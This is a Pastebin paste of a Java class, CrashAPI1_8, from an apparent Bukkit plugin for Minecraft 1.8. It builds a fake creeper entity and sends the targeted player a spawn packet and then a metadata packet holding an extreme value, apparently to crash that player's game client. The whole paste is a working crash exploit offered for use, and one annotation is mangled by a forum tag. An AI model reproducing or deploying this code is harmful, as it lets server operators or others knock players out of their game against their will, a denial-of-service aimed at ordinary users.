CodeRida

Untitled

Apr 7th, 2019
147
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.38 KB | None | 0 0
  1. import org.bukkit.Bukkit;
  2. import org.bukkit.entity.Player;
  3. import org.bukkit.craftbukkit.v1_8_R3.entity.CraftPlayer;
  4.  
  5. import me.rida.crashplugin.CrashPlugin ;
  6. import net.minecraft.server.v1_8_R3.DataWatcher;
  7. import net.minecraft.server.v1_8_R3.EntityCreeper;
  8. import net.minecraft.server.v1_8_R3.EntityPlayer;
  9. import net.minecraft.server.v1_8_R3.PacketPlayOutEntityMetadata;
  10. import net.minecraft.server.v1_8_R3.PacketPlayOutSpawnEntityLiving;
  11.  
  12. public class CrashAPI1_8 {
  13. private static CrashPlugin main;
  14.  
  15. public CrashAPI1_8(CrashPlugin main) {
  16. this.main = main;
  17. }
  18. public static void crashPlayer(Player p) {
  19. final EntityPlayer px = ((CraftPlayer)p).getHandle();
  20. final EntityCreeper entity = new EntityCreeper(px.world);
  21. final DataWatcher dw = new DataWatcher(entity);
  22. dw.a(18, (Object)Integer.MAX_VALUE);
  23. PacketPlayOutSpawnEntityLiving packet_spawn = new PacketPlayOutSpawnEntityLiving(entity);
  24. px.playerConnection.sendPacket(packet_spawn);
  25. Bukkit.getScheduler().scheduleSyncDelayedTask(main, new Runnable(){
  26. [USER=32110]@Override[/USER]
  27. public void run() {
  28. PacketPlayOutEntityMetadata meta = new PacketPlayOutEntityMetadata(entity.getId(), dw, true);
  29. px.playerConnection.sendPacket(meta);
  30. }
  31.  
  32. }, 5L);
  33. return;
  34. }
  35. }
Advertisement
Add Comment
Please, Sign In to add comment